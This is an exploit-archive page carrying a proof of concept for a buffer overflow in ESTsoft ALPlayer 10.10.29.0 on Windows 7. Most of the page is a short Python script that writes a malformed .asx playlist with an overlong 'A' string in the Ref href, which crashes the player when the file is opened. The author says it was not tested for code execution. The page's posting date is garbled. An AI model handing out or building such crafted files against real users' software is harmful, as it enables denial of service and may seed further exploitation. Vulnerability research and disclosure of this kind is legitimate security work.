Home / os / wince

ESTsoft ALPlayer .ASX Playlist crash PoC

Posted on 30 November -0001

<HTML><HEAD><TITLE>ESTsoft ALPlayer .ASX Playlist crash PoC</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: ESTsoft ALPlayer ASX Playlist Buffer Overflow PoC
# Date: 26/09/2016
# Exploit Author: zaeek@protonmail.com
# Vendor Homepage: http://www.estsoft.com/
# Version: 10.10.29.0
# Tested on: Windows 7 32/64bit

====Description====

ESTsoft ALPlayer doesn't properly handle malformed ASX files, causing application crash.
Not tested for code execution, just a quick write-up.

====Proof-of-Concept====

# Simple ESTsoft ALPlayer Buffer Overflow crash PoC
# ----
# 1. Generate poc.asx
# 2. In ALPlayer > Open Files > Choose poc.asx or drag'n drop the file directly into main window
# by zaeek
# Thanks to Viotto.

start = '<ASX Version = "3.0" >'
start += '
<Entry>'
start += '
<Title>poc</Title>'
start += '
<Ref href ="' + 'A'*260 + '" />'
start += '
</Entry>'
start += '
</ASX>'
f = open("poc.asx","w")
f.write(start)
f.close()
</BODY></HTML>

 

TOP

Malware :

Exploits :